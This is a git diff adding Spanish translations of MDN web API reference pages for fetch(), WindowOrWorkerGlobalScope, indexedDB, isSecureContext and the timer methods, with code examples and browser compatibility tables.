+  <li><code>integrity</code>: Contiene el valor de <a href="/en-US/docs/Web/Security/Subresource_Integrity">integridad de subrecurso (subresource integrity)</a> de la solicitud (p.ej., <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>).</li>
+  <li><code>keepalive</code>: La opción <code>keepalive</code> se puede usar para permitir que recurso dure más que la página. Las solicitudes con el indicador <code>keepalive</code> son un reemplazo de la API {{domxref("Navigator.sendBeacon()")}}. </li>
+  <li><code>signal</code>: Una instancia de objeto {{domxref("AbortSignal")}}; permite comunicarse con con una solicitud vigente y abortarla si se desea via {{domxref("AbortController")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Una {{domxref("Promise")}} que resuelve a un objeto {{domxref("Response")}}.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>Tipo</strong></th>
+   <th scope="col"><strong>Descriptción</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>Se abortó la solicitud (mediante {{domxref("AbortController.abort()")}}).</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Desde <a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>, <code>fetch()</code> lanza un <code>TypeError</code> si la URL tiene credenciales, como en <code>http://usuario:clave@ejemplo.com</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En el ejemplo de <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-request">solicitud con Request</a> (ver <a href="https://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>) creamos un nuevo objeto {{domxref("Request")}} usando el constructor pertinente, y realizamos una solicitud usando <code>fetch()</code>. Dado que estamos solicitando una imagen, ejecutamos {{domxref("Body.blob()")}} en la respuesta para darle el tipo MIME correspondiente para que sea gestionada apropiadamente, luego creamos un objeto URL de ella para mostrarla en un elemento {{htmlelement("img")}}.</p>
+
+<pre class="brush: js">var miImagen = document.querySelector('img');
+
+var miSolicitud = new Request('flores.jpg');
+
+fetch(miSolicitud).then(function(respuesta) {
+  return respuesta.blob();
+}).then(function(respuesta) {
+  var objeto = URL.createObjectURL(respuesta);
+  miImagen.src = objeto;
+});</pre>
+
+<p>En el ejemplo de <a href="https://github.com/mdn/fetch-examples/blob/master/fetch-with-init-then-request/index.html">solicitud con inicializador y Request</a> (ver <a href="https://mdn.github.io/fetch-examples/fetch-with-init-then-request/">Fetch Request init live</a>) hacemos lo mismo pero además pasamos un objeto inicializador cuando invocamos el <code>fetch()</code>:</p>
+
+<pre class="brush: js">var miImagen = document.querySelector('img');
+
+var misCabeceras = new Headers();
+misCabeceras.append('Content-Type', 'image/jpeg');
+
+var miInicializador = { method: 'GET',
+                        headers: misCabeceras,
+                        mode: 'cors',
+                        cache: 'default' };
+
+var miSolicitud = new Request('flores.jpg');
+
+fetch(miSolicitud,miInicializador).then(function(respuesta) {
+  ...
+});</pre>
+
+<p>Nótese que también podríamos pasar el objeto inicializador con el constructor de <code>Request</code> para conseguir el mismo efecto, p.ej.:</p>
+
+<pre class="brush: js">var miSolicitud = new Request('flores.jpg', miInicializador);</pre>
+
+<p>También se puede usar un objeto literal a modo de <code>headers</code> en <code>init</code>.</p>
+
+<pre class="brush: js">var miInicializador = { method: 'GET',
+                        headers: {
+                            'Content-Type': 'image/jpeg'
+                        },
+                        mode: 'cors',
+                        cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', miInicializador);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definida parcialmente en <code>WindowOrWorkerGlobalScope</code> en la especificación más reciente.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-global-fetch','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Añade una instancia de {{domxref("FederatedCredential")}} o {{domxref("PasswordCredential")}} como valor posible para <code>init.credentials</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">Control de acceso HTTP (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/index.html b/files/es/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..b45747a2b3
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,169 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - DOM
+  - DOM API
+  - NeedsTranslation
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p>El mixin <strong><code>WindowOrWorkerGlobalScope</code></strong> describe diversas características comunes a las interfaces {{domxref("Window")}} y {{domxref("WorkerGlobalScope")}}. Cada una de estas interfaces pueden, por supuesto, añadir más funcionalidades sobre las listadas a continuación.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>WindowOrWorkerGlobalScope</code> es un mixin y no una interface; no se puede crear un objeto de tipo <code>WindowOrWorkerGlobalScope</code>.</p>
+</div>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p>Estas propiedades se definen en el mixin {{domxref("WindowOrWorkerGlobalScope")}}, y son implementadas por {{domxref("Window")}} y {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Devuelve el objeto {{domxref("CacheStorage")}}, asociado al contexto actual. Este objeto habilita funcionalidades como guardar assets para su utilización <em>offline</em>, y generar respuestas personalizadas a las peticiones.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Proporciona un mecanismo para que las aplicaciones puedan acceder asíncronamente a las capacidades de las bases de datos indexadas.; devuelve un objeto {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Devuelve un booleano indicando si el contexto actual es seguro (<code>true</code>)  o no (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Devuelve el origen del objeto global, serializado como un string. (Esto no parece estar implementado todavía en ningun navegador).</dd>
+</dl>
+</div>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p>Estas propiedades se definen en el mixin {{domxref("WindowOrWorkerGlobalScope")}}, y son implementadas por {{domxref("Window")}} y {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodifica un string de datos que ha sido codificado utlizando codificación en base-64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Crea un string ASCII codificado en base-64 desde un string de datos binarios.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Procesa el set de ejecución repetida utilizando {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancela el retraso del set de ejecuión utilizando {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Acepta variedad de recursos de imagen, y devuelve una {{domxref("Promise")}} que se resuelve como un {{domxref("ImageBitmap")}}. Opcionalmente, la fuente se recorta como un rectángulo de pixels con origen en (sx, sy) con ancho sw, y altura sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Comienza el proceso de búsqueda de un recurso desde la red.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Programa la repetición de la ejecución de una función dado un número de lapsos en milisegundos.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Programa la ejecución de una función dada una cantidad de tiempo.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aquí es donde se define el mixin principal.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definición del método <code>fetch().</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definición de la propiedad <code>caches</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Definición de la propiedad <code>indexedDB</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', 'webappapis.html#dom-origin', 'isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Definición de la propiedad <code>isSecureContext.</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome para Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/indexeddb/index.html b/files/es/web/api/windoworworkerglobalscope/indexeddb/index.html
new file mode 100644
index 0000000000..e6ef3fe5cd
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/indexeddb/index.html
@@ -0,0 +1,141 @@
+---
+title: WindowOrWorkerGlobalScope.indexedDB
+slug: Web/API/WindowOrWorkerGlobalScope/indexedDB
+translation_of: Web/API/WindowOrWorkerGlobalScope/indexedDB
+---
+<p>{{ APIRef() }}</p>
+
+<p>La propiedad <strong><code>indexedDB</code></strong> del mixin {{domxref("WindowOrWorkerGlobalScope")}} proporciona un mecanismo para que las aplicaciones puedan acceder asíncronamente a las capacidades de las bases de datos indexadas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var DBOpenRequest = self.indexedDB.open('toDoList');</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto {{domxref("IDBFactory")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js;highlight:[3]">var db;
+function openDB() {
+ var DBOpenRequest = window.indexedDB.open('toDoList');
+ DBOpenRequest.onsuccess = function(e) {
+   db = DBOpenRequest.result;
+ }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Definido en un <code>WindowOrWorkerGlobalScope</code> parcial en la última especificación.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBEnvironment-indexedDB', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}<br>
+    {{CompatGeckoDesktop("52.0")}}<sup>[1]</sup></td>
+   <td>10, parcial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible en los workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}<br>
+    {{CompatGeckoMobile("52.0")}}<sup>[1]</sup></td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible en los workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>indexedDB</code> se define ahora en el mixin {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Utilización de IndexedDB</a></li>
+ <li>Iniciando transacciones: {{domxref("IDBDatabase")}}</li>
+ <li>Usando transacciones: {{domxref("IDBTransaction")}}</li>
+ <li>Estableciendo un rango de claves: {{domxref("IDBKeyRange")}}</li>
+ <li>Recuperación y edición de tus datos: {{domxref("IDBObjectStore")}}</li>
+ <li>Utilización de cursores: {{domxref("IDBCursor")}}</li>
+ <li>Ejemplo de referencia: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">ver ejemplo <em>live</em></a>.)</li>
+</ul>
diff --git a/files/es/web/api/windoworworkerglobalscope/issecurecontext/index.html b/files/es/web/api/windoworworkerglobalscope/issecurecontext/index.html
new file mode 100644
index 0000000000..a99c499c7c
--- /dev/null
+++ b/files/es/web/api/windoworworkerglobalscope/issecurecontext/index.html
@@ -0,0 +1,86 @@
+---
+title: WindowOrWorkerGlobalScope.isSecureContext
+slug: Web/API/WindowOrWorkerGlobalScope/isSecureContext
+translation_of: Web/API/WindowOrWorkerGlobalScope/isSecureContext
+---
+<p>{{APIRef()}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de sólo-lectura <code><strong>isSecureContext</strong></code>, de la interface  {{domxref("WindowOrWorkerGlobalScope")}} Devuelve un booleano indicando si el contexto actual es seguro (<code>true</code>) or not (<code>false</code>).</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>isItSecure</em> = self.isSecureContext; // or just isSecureContext
+</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un {{domxref("Boolean")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', 'webappapis.html#dom-origin', 'WindowOrWorkerGlobalScope.isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android Webview</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatChrome(55)}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/windowtimers/clearinterval/index.html b/files/es/web/api/windowtimers/clearinterval/index.html
new file mode 100644
index 0000000000..14a1b0d1b8
--- /dev/null
+++ b/files/es/web/api/windowtimers/clearinterval/index.html
@@ -0,0 +1,43 @@
+---
+title: WindowTimers.clearInterval()
+slug: Web/API/WindowTimers/clearInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Cancela una acción reiterativa que se inició mediante una llamada a {{domxref("window.setInterval", "setInterval")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>window</em>.clearInterval(<var>intervalID</var>)
+</pre>
+
+<p><code>intervalID</code> es el identificador de la acción reiterativa que se desea cancelar. Este ID se obtiene a partir de <code>setInterval()</code>.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Vea el <a href="/en-US/docs/DOM/window.setInterval#Example" title="DOM/window.setInterval#Example">ejemplo de<code> setInterval()</code></a>.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers.html#timers', 'clearInterval')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="JavaScript/Timers">JavaScript timers</a></li>
+ <li>{{domxref("WindowTimers.setTimeout")}}</li>
+ <li>{{domxref("WindowTimers.setInterval")}}</li>
+ <li>{{domxref("WindowTimers.clearTimeout")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/es/web/api/windowtimers/cleartimeout/index.html b/files/es/web/api/windowtimers/cleartimeout/index.html
new file mode 100644
index 0000000000..0df5242672
--- /dev/null
+++ b/files/es/web/api/windowtimers/cleartimeout/index.html
@@ -0,0 +1,63 @@
+---
+title: window.clearTimeout
+slug: Web/API/WindowTimers/clearTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>Borra el retraso asignado por {{domxref("window.setTimeout","window.setTimeout()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">window.clearTimeout(<em>timeoutID</em>)
+</pre>
+
+<ul>
+ <li><code>timeoutID</code> es el ID del timeout que desee borrar, retornado por {{domxref("window.setTimeout","window.setTimeout()")}}.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Ejecute el script de abajo en el contexto de una página web y haga clic en la página una vez. Verá un mensaje emergente en un segundo. Si permanece haciendo clic en la página cada segundo, la alerta nunca aparece.</p>
+
+<pre class="brush: js">var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Pasar un ID inválido a <code>clearTimeout</code> no tiene ningún efecto (y no lanza una excepción).</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>DOM Nivel 0. Especificado en <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-cleartimeout" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-cleartimeout">HTML5</a>.</p>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Timers" title="JavaScript/Timers">JavaScript timers</a></li>
+ <li>{{domxref("window.setTimeout")}}</li>
+ <li>{{domxref("window.setInterval")}}</li>
+ <li>{{domxref("window.clearInterval")}}</li>
+ <li>{{domxref("window.requestAnimationFrame")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/es/web/api/windowtimers/index.html b/files/es/web/api/windowtimers/index.html
new file mode 100644
index 0000000000..3516b78c0d
--- /dev/null
+++ b/files/es/web/api/windowtimers/index.html
@@ -0,0 +1,118 @@
+---
+title: WindowTimers
+slug: Web/API/WindowTimers
+tags:
+  - API
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>WindowTimers</strong></code> contains utility methods to set and clear timers.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface do not define any property, nor inherit any.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface do not inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Schedules the execution of a function each X milliseconds.</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windowtimers', 'WindowTimers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windowtimers", "WindowTimers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>4.0</td>
+   <td>4.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+   <td rowspan="1">{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/es/web/api/windowtimers/setinterval/index.html b/files/es/web/api/windowtimers/setinterval/index.html
new file mode 100644
index 0000000000..fe41612dd6
--- /dev/null
+++ b/files/es/web/api/windowtimers/setinterval/index.html
@@ -0,0 +1,692 @@
+---
+title: WindowTimers.setInterval()
+slug: Web/API/WindowTimers/setInterval
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Intervalos
+  - Method
+  - Temporizadores
+  - Temporizadores de JavaScript
+  - WindowTimers
+  - setInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
